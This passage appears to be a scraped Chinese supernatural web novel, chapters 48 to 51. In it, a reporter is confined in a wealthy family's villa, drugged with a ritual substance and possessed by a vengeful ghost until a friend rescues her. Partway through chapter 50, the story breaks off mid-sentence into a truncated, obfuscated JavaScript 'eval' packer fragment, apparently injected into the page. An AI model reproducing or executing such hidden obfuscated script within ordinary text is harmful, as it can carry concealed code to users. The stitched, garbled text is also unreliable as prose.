许忠林瞥了眼赵敬鸿,下一秒赵敬鸿就要上前,可中年女人蓦地又笑了声,随即变得恍恍惚惚,就跟刚睡醒一样,手上的托盘“砰”地摔到了地上,上面的点心撒了一地。 中年女人一下子睁大了眼睛,满眼都是惊诧,支支吾吾道:“老先生,我不是故意的,不是故意的——” 许忠林眉头紧蹙,深吸了一口气,“待会儿再来收拾,先出去吧!” 中年女人满脸懊恼地退出了书房,赵敬鸿立即跟了出去。 目睹完发生的一切,颜珺瑶瞠目结舌,同时她有些好奇,为什么刚才许薇萍突然选择了其他人。 许忠林重新请颜珺瑶坐下,对她说道:“还希望颜小姐不要把今天的事情说出去。” 颜珺瑶自然知道许忠林的顾虑,立即就点头答应了,毕竟这样的事情说出去有损许家的名声,到时候各种谣言应该会漫天飞。 许忠林沉默了良久,“想问颜小姐,之前遇到这样的事情,有没有找什么人帮你处理呢?” “算是有吧,给了平安符,但——没什么大用。” 书房里须臾间安静了下来,好半晌,书房的门又被敲响。 许忠林站了起来,表示他要出去一趟,让颜珺瑶稍等,他很快回来。 颜珺瑶只能继续坐着等了,但其实她很想走了。 许忠林出了书房,赵敬鸿就站在外面。 两人走远了些,赵敬鸿对许忠林低声道:“没抓到,被她躲起来了,但肯定就在房子里头,按理说是不会变成凶煞的,很可能是一直被人养着,很难对付。不过里外我都布置好了,她逃不出去的。” * 许忠林一出去,书房里只有颜珺瑶一个人。 走又不能走,又无事可做,只能拿出了手机,却发现这里居然没有信号。 这太奇怪了。 这个别墅区虽然不是在市中心,但也不算很偏,怎么一格信号都没有呢? 颜珺瑶正拿着手机站起来,想要到窗户旁看看有没有信号,这时,许忠林就进来了。 “能否麻烦颜小姐今晚能住在这里,帮赵先生把许薇萍再引出来,把她超度了?” 颜珺瑶的第一反应肯定是不愿意的,许忠林似乎猜到她要说什么,就站在那里,微微对她鞠了一躬。 颜珺瑶吓了一大跳,就听许忠林近乎恳求地说道:“恳求颜小姐帮帮我们家,我担心下一个她会伤害我的孙子,他还年轻,我已经八十多了,这把老骨头出事倒不要紧,但他还很年轻,甚至还没成家——” “……” 颜珺瑶被他这么一说只能答应了。 许忠林这才恢复了笑容,“给颜小姐准备了衣物和洗漱用品,罗嫂会留下来照顾你的,你想吃什么尽管跟她说。” * 出了书房之后,刚才那位阿姨就笑呵呵地来到颜珺瑶面前,问她想吃什么。 颜珺瑶这才想起来自己晚饭还没吃,这会儿还真的挺饿的,刚才神经一直紧绷,都忽略了这件事。 “阿姨,什么方便就做什么,我不挑食的。” 而许忠林则直接进了二楼的一个房间,关上门之后一直没见出来过。 倒是那位赵敬鸿先生,拿着个罗盘里里外外到处转。 颜珺瑶一边吃着面,一边暗自嘀咕着。 怕是这位赵先生也没法抓到许薇萍,因为汤爷爷和严婆婆那么厉害都对付不了。 吃完之后,罗嫂带着她去了三楼的一个房间。 里头一切都准备好了,罗嫂还告诉她,衣物还有洗漱用品都是新的,让颜珺瑶放心使用。 颜珺瑶突然想起什么,问道:“阿姨,这里怎么没有信号,以前是不是也这样?” 罗嫂愣了下,笑道:“我平时也不常来这里收拾,以前应该——也是这样的吧。” 颜珺瑶总觉得哪里不太对劲,一时又想不出来,洗过澡之后便躺到了床上歇息,想着晚上十二点还要下去,就从衣柜里拿了一套衣服,把身上的睡衣换了。 今天在外面跑了一天,她以为自己会很快睡着,但却没有睡意,闭上眼睛,脑子里不停琢磨着许薇萍的事情。 那个赵先生说许薇萍还在这个房子里,那会不会还跟着自己呢? * 这么想着,她突然坐了起来,对着虚空说道:“萍萍,如果你还在我身边,就——就——” 她四处看了看,瞥到对面桌子上自己的包,继续道:“就让我的包掉到地上。” 几乎是同时,“咚”地一声,颜珺瑶的包真就在没有外力的作用下,莫名地掉到了地上。 颜珺瑶一下子从床上蹦了起来,直接扭开门锁跑出了房间。 好半天才慢吞吞地回来,站在床尾边问道:“你到底是想让我帮你做什么呢?除了帮你找到那条项链之外 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她轻咳了一声,说道:“我真心希望能帮到你,你如果真的有什么需求,不愿意和我说,到时候你就和许爷爷——和你二哥哥说。” 房间里很久都没任何异常,安静地吓人。 颜珺瑶刚要闭上眼睛的瞬间,瞥见窗户旁边猛地出现一个穿着鹅黄色旗袍的小女孩。 颜珺瑶死命地咬着嘴唇不让自己惊叫出来,抱紧了身上的被子,后背死死抵着床头,试探性地喊了一声:“萍萍?” 措不及防,小女孩突然哭起来:“萍萍好疼,大姐姐骂我,抢我的项链,车子撞得我好疼,萍萍好疼——” 颜珺瑶的惊恐顿时消散了不少,听着这样委屈的哭声,心头泛起心疼与不忍。 这么小的孩子就——实在太可怜了。 她舔了舔唇,“萍萍为什么会去那里,谁带你去的?” “大姐姐,是大姐姐,她说带我去找爸爸——” 颜珺瑶脑子里突然闪过一个可怕的念头,“是大姐姐把你扔在大马路上的吗?” “大姐姐不见了,萍萍找不到大姐姐,找不到爸爸——” “那——妈妈呢?” 她的话刚出口,小女孩瞬间消失。 颜珺瑶在房间里待不下去了,直接去了书房。 赵敬鸿站在书房门口,一手端着罗盘,一手在掐指算着什么,注意到她下楼,便笑着看向颜珺瑶。 “许薇萍刚才是出现在颜小姐面前了吗?” 颜珺瑶没有隐瞒,“我看到她了。” “颜小姐从小就能看到鬼魂吗?” 颜珺瑶顿了下,摇头说不是。 赵敬鸿继续问:“那刚才许薇萍是主动出现在你面前,还是你把她叫出来的?” 颜珺瑶心想,看来房间里应该是没有监控的,只是三楼房间外才有。 她犹豫了片刻,并没有回答赵敬鸿的问题,而是说道:“待会儿我试试,不知道能不能把她叫出来。” * 赵敬鸿盯着她看了好一会儿,才笑着说了声好。 眼看时间逼近十二点整,赵敬鸿去敲了许忠林的房门。 颜珺瑶站在书房门口等着,老爷子应该是也没睡,很快就从里头出来了。 可就在许忠林出现的那一刻,她猛地控制不住自己的身体,突然就说道:“二哥哥,别忘了我的项链,爸爸给我的项链,帮我找项链。” 颜珺瑶有些站不稳,整个身体直直靠到了墙上。 许忠林双手颤抖地指着她,怒道:“许薇萍,你要做什么,你到底要做什么?你也是许家的人,你怎么能这么狠,你对得起父亲吗?” 颜珺瑶虚弱地笑了,“二哥哥,是大姐姐带我出去的,是大姐姐,她还拿走了我的项链,二哥哥,你要帮我——许爷爷——二哥哥,你要帮我找回来——” 话刚说完,她就从慢慢滑坐到了地上,一双大眼睛仍死死盯着许忠林。 49. 第 49 章 许忠林使劲地用手杖不断地杵着地面,吼道:“大姐不是故意的,她也因为你出事而一直愧疚,不到二十岁就走了,难道还不够吗?” 颜珺瑶又开始觉得喘不上气来,拼命去拽脖子上不存在的绳子。 赵敬鸿立即上前,将一张符纸贴到了她的额头上。 颜珺瑶长长地吸了一口气,终于缓过来了,但脸上全是汗,身上也被汗水湿透了,耳边嗡嗡作响。 模糊中只看到赵敬鸿一脸肃穆地做着奇怪的手势,应该是在结什么手印,嘴里念念有词,她却什么也听不到。 很快,他又往楼上跑去,许忠林却出现在她面前。 许忠林看到她睁着眼睛的一瞬间,松了一口气,想要把她扶起来,却又顿住。 颜珺瑶能听到声音了,许忠林正焦急地喊着:“罗嫂,罗嫂——” 不一会儿,罗嫂神色慌张的脸出现在她面前,对方立即把她扶了起来,送回了房间。 * 大概是赵敬鸿那张符的出现,很快缓解了颜珺瑶被绳子勒住的窒息感,所以这一次恢复地比较快。 但她非常疲劳,勉强支撑着自己又洗了澡,锁了门,一躺到床上就睡死了过去。 第二天醒来的时候,已经快八点半了,平日里六点半的闹钟愣是没把自己闹醒。 今天必然要迟到了。 颜珺瑶精神不济,但还是撑着赶紧起了床,快速洗漱过后,就跑到了一楼。 许忠林已经坐在了一楼的沙发上,看到她脚步匆匆,对她说道:“颜小姐不用着急,我已经帮你请假了,先去吃早饭了。” 颜珺瑶总觉得怪怪的,不过还是松了一口气,礼貌地问了许忠林是否用过早饭。 许忠林点了点头,“已经用过了。” 她也不再客气,去了餐厅。 吃完早餐,颜珺瑶告辞离开,但许忠林却说话了 “希望颜小姐能多留下来两天,配合赵先生把许薇萍尽早超度了。” 颜珺瑶心中有些不快,“昨晚许薇萍出现在我面前,一直强调她的项链被大姐姐拿走了,她想要项链,是大姐姐把她扔在马路上,害她被车撞死了。许爷爷,您应该帮她——” “她的话信不得。”许忠林打断了她的话。 “昨晚她出现那么多次,但是一次都没能抓到她,恕我直言,赵先生很可能对付不了她。最好的办法是满足她的愿意,让她安心离开,而不是把她困在这座房子里,试图抓到她。” 许忠林露出慈祥的笑容,再次恳求道:“还请颜小姐帮帮我这个老头子,帮帮我们许家,就算是看在修远的面子上,我知道颜小姐和修远是好朋友,想必你也不想看着他出事。事成之后,我会一定会补偿颜小姐的。” 话音落下,不等颜珺瑶回答,径直就上了二楼。 颜珺瑶咬了咬牙,试图打开大门,但是却打不开,最后只能郁闷地回到三楼。 这才明白为什么这里没有信号,原来许忠林早就安排好了,这里的信号是被屏蔽掉的,他不让她和外界联系。 颜珺瑶无能愤怒,无所事事地呆在房间,打开窗户往下看了眼。 三楼,有点太高了,真的不敢往下跳。 二楼呢? 一想到这儿,她就立刻跑到了二楼,试着开了几扇窗户却都不能打开。 这什么高科技—— 她在心里骂了一句脏话,看来许忠林提前考虑到这一点,所以把她安排到了三楼,就赌她敢不敢跳。 她决定,要是今天晚上还不让自己回去,她就不用再对许忠林客气了。 中午罗嫂上楼叫她下去吃饭,餐桌上只有她一个人。 但不等颜珺瑶吃完,赵敬鸿就过来了,请她去书房,说是马上十二点了。 颜珺瑶忍着气去了书房,就见赵敬鸿把一个装着暗浊液体的玻璃杯放在茶几上,又递了一个手机给她。 颜珺瑶莫名,只好接过手机,屏幕上面写着:请颜小姐待会儿把许薇萍叫出来,只要她现身了,就把玻璃杯里的东西泼到她身上,还请颜小姐不要同情一个凶煞。 “玻璃杯里是什么东西?” 赵敬鸿并不回答她的问题,而是转而在手机上打字:我知道颜小姐对我的能力并不认可,但这杯东西颜小姐大可放心,一定能除掉她的煞气。 颜珺瑶看得似懂非懂,把手机递还给对方,点了点头。 书房很快又只剩她一个人,她四处看了看,并没有看到摄像头,但她敢肯定一定有,许老爷子现在一定在密切盯着书房。 她忍不住端起茶几上的玻璃杯,闻了闻,一股十分奇怪的味道,带着很冲的血腥味,着实让人反胃。 把玻璃杯放回去,给自己倒了杯茶,一口喝光,踟蹰良久,才对着虚空轻声说道:“萍萍,你在吗?” 没有任何动静。 她咽了咽口水,继续说道:“除了要帮你找回项链之外,你还希望你二哥哥做些什么呢?你能——啊——” “啪”地一声,茶几上的那个玻璃杯突然就碎裂开,里头的液体在茶几上迅速蔓延。 颜珺瑶惊叫着站了起来,忙往门口退去,可她还没摸到门把手,脖子上的桎梏感又来了,她瘫倒在地上,死命地挣扎着,抓着脖子,指甲在脖子上留下一道道抓痕。 书房的门很快被打开,颜珺瑶就看到赵敬鸿又拿了一张黄符贴到她脸上,她这才能喘上气来。 罗盘丝毫动静都没有,赵敬鸿叹了口气,只能先把颜珺瑶扶到沙发上。 颜珺瑶用力吸了好几口气,慢慢缓了过来,这时,许忠林在她对面坐了下来。 * 颜珺瑶摸着脖子,怒视赵敬鸿,“这东西到底是什么?你是想要让许薇萍魂飞魄散,对不对?” 赵敬鸿收回视线,在一旁的沙发坐下。 “许薇萍以为我是要害她,所以她要弄死我。” 随即她站了起来,对许忠林道:“许老先生,我没法再帮您了,我要先走了。” “颜小姐误会了,”许忠林出声解释,“这杯东西确实只是除掉她的煞气而已,并不是要让她魂飞魄散。她要的项链我已经让人去找了,只是时间太久远了,漫长的八十年,想要找到没那么容易。” “我知道颜小姐受委屈了,但还是恳请颜小姐可怜可怜我们许家,再留下来帮帮忙,只有你才能把她叫出来,因为颜小姐和她亲生母亲长得——很像。” 颜珺瑶不为所动,“她不会再信任我了,她以为我是和你们是一样的,不是帮她的,而是要害她。” 她看向赵敬鸿,“赵先生觉得我不相信你的能力,其实并不是,因为我也找两个高人问过,他们都没办法解决,说这几十年许薇萍很可能是被人一直养着的,最好的解决办法就是满足她的心愿,想要除掉她,难度太大。” 深吸了一口气,抿了抿唇,“不管当年的真相是什么,再怎么说她也是许家的人,她也是许老先生亲妹妹。” 许忠林笑了笑,“颜小姐果然是心善之人,你说的有道理,我也是这么想的,但这么长时间她除了告诉我想要项链之外,什么都不愿意说了。” 说到这里,他看了一眼赵敬鸿,后者起身离开了书房。 书房的门重新关上,许忠林十分客气地说道:“颜小姐请坐。” 颜珺瑶顿了顿,再次坐了下去。 “当年许薇萍出事的时候我还小,但我知道她是我的妹妹,我也很难过。她是我们许家的孩子,即使她母亲只是二房,可我父亲还有其他长辈都很疼爱她。 她出事之后,父亲费了不少心力调查,发现真的只是意外,可沈——可二妈妈一直不相信,一口咬定是大姐做的,最后抑郁成疾,去世了。事情与大姐无关,可大姐也因此一直很愧疚,不到二十岁也抑郁而终了。 许忠林哀叹了声,继续说道:“颜小姐在报社上班,不知道是否了解过我们许家的事情?其实我有两个儿子,但是大儿子还没成年就出了车祸,那时候我才意识到很可能是许薇萍和她母亲在报复家里。 这么多年我一直小心翼翼,战战兢兢,之前的先生说我八字纯阳,能镇得住这些鬼煞,所以一直住在老宅里,平日里很少让晚辈待在老宅。本以为修远的父亲长大成人,娶妻生子,肯定是没事的,不会和他哥哥一样。但谁能想到,白发人送黑发人。 现在我只有修远这一个血脉了,但修远告诉我,之前他几次都差点出了事。这一切都是我的错,没有保护好自己的孩子,我已经一把年纪了,如果可以的话,我真的宁愿出事的是我自己,而不是我的儿子,我的孙子——” 颜珺瑶看向许忠林,发现老人 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她觉得自己不能就这么坐以待毙,许忠林屏蔽了信号,还擅自帮她请了假,就已经打定主意要利用她来除掉许薇萍。 先不说许薇萍到底是不是许家大姐姐害死的,就算是,许忠林也一定恨死了许薇萍还有沈新柔。 因为许忠林的大姐,他的大儿子都英年早逝,二儿子人到中年也出了意外,他心里很可能把这一切都归咎到沈新柔和许薇萍母女头上,他应该只有一个念头,那就是利用她引出许薇萍,让她彻底消失,不再纠缠着许家。 想了想,颜珺瑶去到了二楼,发现许忠林并不在房间里,便下了楼。 罗嫂对她很热情,笑呵呵地给她切了水果,端来了点心。 颜珺瑶没什么胃口,“阿姨,老爷子去哪里了?” “老爷子身体不舒服,去医院了,”罗嫂仔细瞅了眼颜珺瑶的脸,“你昨晚是不是没睡好?看起来脸色不太好。” 颜珺瑶只笑了笑,没有多言,但晚上的时候,她发现罗嫂特意给她炖了鸡汤,叫她多喝点,想让她补一补。 上楼的时候,在二楼碰到了赵敬鸿。 赵敬鸿客气地叫住她,“颜小姐说过,之前也请教过其他的先生,不知是否方便告诉我呢? 颜珺瑶有些反感这个赵敬鸿,但说到底他是为别人办事,也没对自己做什么。 她敛了敛神色,努力平心静气道:“是我老家的一个爷爷,另一个是朋友介绍的老太太。” 赵敬鸿清楚颜珺瑶是哪里人,于是便问道:“是不是叫汤明山,汤老先生? 颜珺瑶诧异,赵敬鸿怎么会知道? 赵敬鸿看出她的疑问,解释道:“他和我师父是朋友,汤老先生确实厉害,只是可惜他没有传人,也不愿意收徒。所以是汤老先生告诉颜小姐,缠着你的许薇萍多年来一直被人养着的吗?” 颜珺瑶摇头,“不是他,是朋友介绍的那位老太太告诉我的。” 赵敬鸿愣了下,“不是汤老先生?” “不是。” “那这位老太太是?” “在郊区,叫严九香。” 赵敬鸿露出一副“原来是她”的神情,颜珺瑶忍不住问道:“你也认识?” “我知道这位前辈,但并没有交集,老太太性情孤傲,平日里不愿意和同行来往。” 颜珺瑶心想,他们确实都是同行,赵敬鸿知道也不奇怪。 “颜小姐和——汤老先生是不是很熟悉?” “汤爷爷和我爷爷是几十年的邻居。” 赵敬鸿自顾自说道:“之前联系过汤老先生,但前辈说他身体不好,已经不做这一行了。颜小姐和前辈有如此渊源,实在羡慕。” 颜珺瑶觉得赵敬鸿似乎是想通过她去说服汤爷爷帮忙,只好解释道:“汤爷爷确实身体不好,并不是骗你,最近在住院。” 赵敬鸿了然地点点头,颜珺瑶不想再聊,上了楼。 当天夜里颜珺瑶还是很配合地在十一点多去了书房,但直到过了十二点,许薇萍一直都没有出现。 她打定主意了,明天一早自己必须离开这里,说什么都要走,他们没有权力关着她。 50. 第 50 章 张熙杰发现,颜珺瑶一整个上午都没来。 关键是电话一直打不通,打了好几次,每次听到的都是机械女声播报的“暂时无法接通”。 不仅如此,和她关系比较好的同事也都不知道她为什么没来。 到了下午,人还是没出现,电话也还是未能打通。 这种情况在颜珺瑶身上第一次发生。 他实在不放心,给钱艺文打了电话,拐弯抹角地提起了颜珺瑶。 但对方说的是:“你们电视台最近太忙了啊,珺瑶最近都很少回家来了,电话我都不敢多打,你们一定要注意休息呀!” 结束通话之后,张熙杰心里越发不安。 所以颜珺瑶去了哪里,她的父母也并不知情。听钱阿姨的话头,她甚至也不知道颜珺瑶的手机暂时无法接通。 而手机暂时无法接通,有那么几种可能。 处于信号差或没有信号的地方,手机开启飞行模式或SIM卡有问题,再有就是网络繁忙,但最后两种情况发生的概率比较小。 颜珺瑶也不会把飞机一直处于飞行模式,最有可能就是第一种情况。 所以她现在要么是在类似于地下室这样的地方,要么就是在非常偏僻的地方。 想到这里,张熙杰直接敲开了王宇阳的办公室。 “主任,珺瑶今天有跟你请假吗?” “……这个啊,”王宇阳抬了抬下巴,“你先坐下,别着急。” “……”张熙杰最受不了王宇阳的墨迹,又觉得他此时此刻的表情跟以往不太一样。 “这个小颜啊,她今天有事,我已经批假了。” 张熙杰直觉这个姓王的一定知道什么内情,“您知道她去干什么了吗?她的手机一直无法接通。” “哦,她确实是有事,不过你不用担心,她不会有事的。” “主任,您怎么保证?”张熙杰腾地从椅子上站了起来,“就算有事,手机为什么一直无法接通?我怀疑她出事了,而且她家里人每天都会给她打电话,如果——” “你小声点——”王宇阳一急之下,越过办公桌就要去拽他的胳膊,“给我小声点,我告诉你还不行!好好坐下!” 张熙杰脸色微沉,再次坐了下去。 “你得先答应我,别说出去!” “……主任,您请说!” 王宇阳装腔作势地清了清嗓子,“许老爷子觉得她文笔不错,找她帮忙,说是写几篇东西,整理一些材料。这对于年轻人来说,是多好的机会,那可是许家当家人。” “……是珺瑶给您打电话请的假,还是许家人打的?” 王宇阳“啧”了一声,似乎觉得他有些想太多,“许老爷子亲自打来的,江成也认识许老爷子,你放心吧,不会出事的。” “就算是许老爷子找她帮忙,她的手机为什么打不通?我怀疑——” “你个死脑筋,”王宇阳打断他,“许家家大业大的,在哪里没有房子,肯定是找了个清幽的地方写东西,整理材料,这样才有效率嘛,年纪轻轻,别老这么胡思乱想的。” “……”什么屁话! * 回到工位,张熙杰突然想起那张老照片。 前两天回老家帮爷爷收拾东西时,无意中发现的老照片,让他觉得有几分诡异。 他不由地从手机相册里点开这张照片,上面是一家三口,而其中的女人居然和颜珺瑶长得很像。 滑动屏幕,出现那张照片的背面,写着三个人名,分别是许天佑,施晓梦,许薇萍三口合影,摄于一九四六,五月十五日。 张熙杰查了这三个名字,更不可思议的事情出现了,许天佑居然是许修远的的太爷爷。 颜珺瑶和这个施晓梦长得这么像,难道是她的后代?她和许家有什么关系? 最最重要的一点是,爷爷为什么收藏着这张照片? 从年龄来看,爷爷和照片上的许薇萍年龄相仿,难道两人年轻时相识? 但是,紧接着问题出现了,他查到了许天佑的原配根本不叫施晓梦,所以她是许家的姨太太? 至于许薇萍—— 他已经托朋友去查许修远的亲姑奶奶都有谁,估计过一两天应该就会有结果。 可现在许忠林突然找上颜珺瑶,她的电话又恰好打不通,张熙杰没办法不多想。 下午外出采访时,张熙杰突然接到钱艺文的电话,后者很是着急。 “小杰啊,珺瑶的手机无法接通,她在不在你边上呢?” 他不想钱艺文担心,即使他也有些觉得不踏实,但现在还没弄明白,不敢把事情告诉对方,万一闹大了就麻烦了,不管是对珺瑶,还是对颜家。 于是咬牙撒了谎,说自己和颜珺瑶都在外头采访,应该是手机信号不好。 钱艺文这才放了心,“那就好,跟你在一块我就放心了,小杰啊,有空来家里尝尝阿姨的手艺呀!” 采访结束,张熙杰又给颜珺瑶去了电话,还是无法接通。 晚上下班后,他特意跑到了颜珺瑶的出租房,她还没回来。 这不对劲,这太不对劲了! 许家的别墅即使是在再清幽的地方,也不可能这么隔绝人世。 思来想去,他想到了一个人。 * 许修远接到张熙杰的电话时,非常诧异,第一反应就是颜珺瑶是不是出了事。 果然如此,而且还和爷爷有关。 “许老先生请珺瑶去帮忙,但她的手机却一直没法接通,你们家有什么房子,是在非常偏远的地方吗?” “之前她都是和她师父一起去采访许老爷子,这一次许老先生却单独让她去帮忙,而珺瑶现在既没回家,也处于失联状态,我没法不多想。恕我直言,我觉得这和许老先生有直接关系。” 许修远终于知道,为什么今天自己给她发微信,她却一直没有回复。 挂了电话之后,他立即吩咐助理订最近的机票回去,随后又拨了通电话。 到凌晨的时候,他接到了回电。 电话那头的人说道:“颜小姐确实是昨天晚上被老爷子派车接走了,小区门口的监控拍到了。” 许修远大感不妙,几乎一晚上都没睡,收拾了东西,天还没亮就赶往了机场。 * 早上醒来,颜珺瑶感觉自己精神状态非常不好,浑身没什么力气。 下楼的时候,不见许老爷子的身影。 哼,就算他不在,这里的一举一动他肯定都看得清清楚楚。 餐厅里,她发现赵敬鸿今天早上居然坐在了餐桌旁,早餐已经摆在了桌上,罗嫂不知道去了哪里。 颜珺瑶坐下,瞧了一眼面前的馄饨,就听赵敬鸿说道:“罗嫂用昨晚的鸡汤煮的馄饨,她说你喜欢吃辣,给你加了辣椒酱。” 颜珺瑶没什么胃口,又起来先去倒了杯温水,“罗阿姨去了哪里,怎么不在? “罗嫂出去买菜了。” 重新坐下,颜珺瑶盯着面前的馄饨,愣了有一会儿,又往馄饨里加了一勺辣椒酱。 搅了搅,尝了一口,突然觉得味道有些怪怪的。 她瞥向赵敬鸿,对方却吃的怡然自得。 颜珺瑶怀疑自己的味觉出了问题,忍不住又尝了一口,味道还是有些不对劲。 她端起装辣椒酱的罐子闻了闻,就是很正常的辣椒酱的味道,奇了怪了。 赵敬鸿见她放下了勺子,便问她怎么了。 颜珺瑶没有多说,只说自己没有胃口。 赵敬鸿温声劝道:“即使没胃口,多少也要吃点,之前许薇萍附身,很是耗损你的精气神。” 闻言,颜珺瑶脑子里突然闪过什么,走进厨房看了眼,锅里已经空了,而且早就洗干净了。 今天的早餐和昨天区别很大。 昨天的早餐桌上摆了许多点心水果,有牛奶,豆浆等,选择很多。但今天餐桌上就只有这两碗馄饨,似乎罗嫂就将将准备了两碗。 这不对劲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那两个年轻女人十分镇定,见她没晕过去,不慌不忙地把她扶到客厅的沙发上,紧接着就开门去了外面。 颜珺瑶慢慢缓了过来,就看到赵敬鸿从茶几上抽了张纸,似乎想要给她擦额头上的冷汗,她狠狠一巴掌把他的手拍掉,咬牙切齿地从嘴里挤出了一个字,“滚!” 赵敬鸿面色温和地笑了笑,倒是没有生气,施施然坐到她对面。 “颜小姐是性情中人,请颜小姐放心,馄饨里加的东西不会对你有任何伤害。你现在这样,更多是因为这一两天身体虚弱,外加刚才没吃东西造成的低血糖,所以希望颜小姐能控制好自己的情绪,否则——难受的还是你自己。” 说着,他进了厨房,很快拿着一个玻璃杯出来,递给颜珺瑶,“加了糖的温水。” 颜珺瑶缓缓坐正,接过了杯子,下一秒直接泼向赵敬鸿,可惜的是,没泼到他的脸,只弄湿了他的胳膊。 赵敬鸿猝不及防,脸颊抽了抽,很明显是在压制着自己的脾气。 他狠狠闭了闭眼,再睁眼时又恢复了云淡风轻,一边抽纸擦着自己的衣服,一边颇为遗憾地说道:“颜小姐太过草木皆兵,真的——只是糖水。” 颜珺瑶笑起来,“那你去把那碗馄饨给吃了,我就信你,这会儿怕是还温着呢!” 赵敬鸿再次进了厨房,出来时又拿着一个玻璃杯,但这次却放在了茶几上,倒了一部分在之前的杯子里,而后一口喝掉。 “颜小姐对我有所误会,至于馄饨里加的东西——” 颜珺瑶懒得听他的冠冕堂皇,打断他的话,“是不是就是昨天你让我用来泼许薇萍的那杯恶心的东西?” 赵敬鸿默了片刻,她知道自己猜对了,瞪着他怒道:“我说了会帮忙,但你至少应该提前跟我商量,征得我的同意才可以。” 她仰头看向墙上的一个摄像头,虽然不知道这么远的距离老爷子能不能听到,但她还是大声喊道:“许老先生,我是来帮忙的,但我不欠许家的。” 赵敬鸿解释道:“颜小姐,你也知道许薇萍没办法完全占据你的身体,但她就是认准了你。我在馄饨里加的东西,只是为了能在许薇萍要控制你的时候,锁魂符可以暂时将她困在你的身体里,这样才有可能把她超度了。” 颜珺瑶冷笑起来,“超度?真的只是超度吗?” 51. 第 51 章 就在这时,大门处又有了动静,她扭头看去,许忠林终于过来了。 这动作够快的,看来老爷子应该就在这附近,距离不会太远,最有可能的就是左右前后的其他别墅。 许忠林满脸愧色地看向颜珺瑶,“颜小姐,这是我的主意,和赵先生无关。” 一说完,突然就向颜珺瑶微微鞠了一躬。 可就在他弯下身子的那一刻,听到颜珺瑶冷笑了一声,说道:“二少爷也需要给别人鞠躬道歉吗?太太知道了,该多心疼啊!” 许忠林倏地站直身子,惊恐地看着颜珺瑶,“你——你是——” 颜珺瑶只觉得一股强大的力道推向她,她整个人猛地往前一倒,下一秒她居然看到了自己。 “……” 她看到自己款款地走向赵敬鸿,赵敬鸿很快反应过来,立即掐指念咒,却被自己一巴掌扇到了沙发上。 而后自己笑起来,肩膀微颤着,“想要超度我女儿?许家人有这么好的心肠吗?” 她侧头看向已经目瞪口呆的许忠林,“二少爷,你觉得我说的——对呢?” 许忠林面如土色,“沈——沈新柔?!” 颜珺瑶看向自己的身体,下意识叫了一声,“沈新柔,你是沈新柔?” * 沙发上,好半晌才缓过来的赵敬鸿跌跌撞撞地上了二楼,沈新柔并不把他放在眼里,往颜珺瑶这边瞥了一眼,而后捂着嘴笑起来。 “原来二少爷还一直记得我呀,我记得你小时候最喜欢吃荔枝了,可一吃多,身上就长小疙瘩,我没说错吧!” 许忠林直接跪了下来,哭求道:“二妈妈,求你放过我们家吧,求求你——” 而此时的大门外,突然一阵喧闹,传来了许修远的声音。 颜珺瑶扑到大门口,使命地喊着:“许修远,快走,别进来,别进来!” 与此同时,许忠林大惊失色,冲着外头大喊:“赶紧滚!” 但许修远还是闯了进来。 颜珺瑶要去抓他的手,她这才发现别人压根不能看到自己,她惊恐万分地看向沈新柔。 而许修远一进来就看到爷爷跪在地上,老泪纵横,狠狠吓到了,下意识就要去扶起他,却突然听到颜珺瑶笑盈盈地说道:“哎呀,又来了一个。” 许忠林脸颊不停抽动着,站了起来,拼尽全力要把许修远推出去,“快滚,快滚!” 但许修远却直接挡在爷爷生前,他看向对面的颜珺瑶,知道她现在已经不是她自己了。 许忠林再次干脆利落地跪了下去,哀求道:“所有的事情都和这个孩子没有关系,二妈妈,求你不要伤害他,求你了!” 颜珺瑶跑到沈新柔面前,大声说道:“你不要伤害他,他一直想要帮你和许薇萍找出当年的真相,不要伤害他!” * 沈新柔并不理会颜珺瑶,而是好奇地打量许修远。 “这个孩子,我和他见过好几次了。如果我的一儿一女没有出事,他们的孙子孙女肯定也差——” 她的话戛然而止,因为赵敬鸿从楼上往下泼了一杯东西,把沈新柔浇的满头满脸都是。 颜珺瑶下意识地叫了起来,须臾间,她感觉到鼻腔里一热,很快就瘫软在地上。 许修远抬头看了眼二楼,而后把爷爷扶了起来,又立即跑到颜珺瑶跟前,看到她还睁着眼睛,鼻血还在往外冒。 他赶紧把她抱到沙发上靠着,搂着她的肩膀,帮她擦掉鼻血还有浇到头上的东西。 赵敬鸿同样扶着许忠林在沙发上坐下,许忠林怔怔地看着颜珺瑶,好半晌才缓过来,问了一句:“颜小姐,你感觉怎么样了?” 颜珺瑶没有力气说话,但鼻血已经止住了。 许修远长舒一口气,把她抱了起来,就要往门外走。 “小远,你要去哪里?” “爷爷难道看不出来吗?她现在需要去医院。” 赵敬鸿在一旁解释:“颜小姐只是身体虚弱,好好休息几天,多补一补,很快就——” 许修远冷冷地瞥了他一眼,打断他的话,“赵先生真是博学!” 赵敬鸿立即噤了声,他知道许修远是在用眼神警告自己,他会找自己算账的。 * 去医院的路上,颜珺瑶实在是没有体力了,闭着眼睛想要睡觉,但包里的手机一直响个不停。 她知道自己这两天手机信号被屏蔽了,任何人都联系不上自己,爸妈每天都会给自己打个电话,昨天打不通,不知道妈妈会不会去报了警。 她从包里拿出手机,看到了几十个未接来电,大部分都是爸爸妈妈,张熙杰还有许修远的。 微信上也有很多信息。 她先给爸爸妈妈还有张熙杰发了微信,表示自己昨天有事,手机出了点问题,所以没接到电话,让他们不用担心。 张熙杰那边很快就回了电话。 颜珺瑶接了起来,“我没事,不用担心。” 张熙杰听她声音不对劲,问她到底怎么了,颜珺瑶只好说自己有点感冒了,等自己回去后再联系他。 等到颜珺瑶挂了电话,许修远万分愧疚地看着她,千言万语都压在心里,却不知道该说什么,最后只说了一句:“我先送你去医院看看。” 颜珺瑶并不逞强,刚才赵敬鸿说的话她也听到了,但她还是想去检查一下。 小命要紧! 她轻轻地“嗯”了一声,刚闭上眼睛,又转头看向许修远,“你车上有吃的吗?” “有!” 许修远从扶手箱里拿出了一盒巧克力,打开之后剥了一颗,颜珺瑶接过塞到嘴里,一边嚼着,一边从盒子里又拿了一颗,自己动手剥了外包装,送入了嘴里。 “喝水吗?” 许修远拧开了一瓶水,颜珺瑶摇头说不用,只是一颗接一颗地吃巧克力。 等到巧克力盒空了,她才感觉到自己还活着。 到了医院,下车时许修远想抱她进去,颜珺瑶笑呵呵地婉拒了。 “我好些了,现在走得动,还能跑。” 全程的检查,许修远一直陪着。 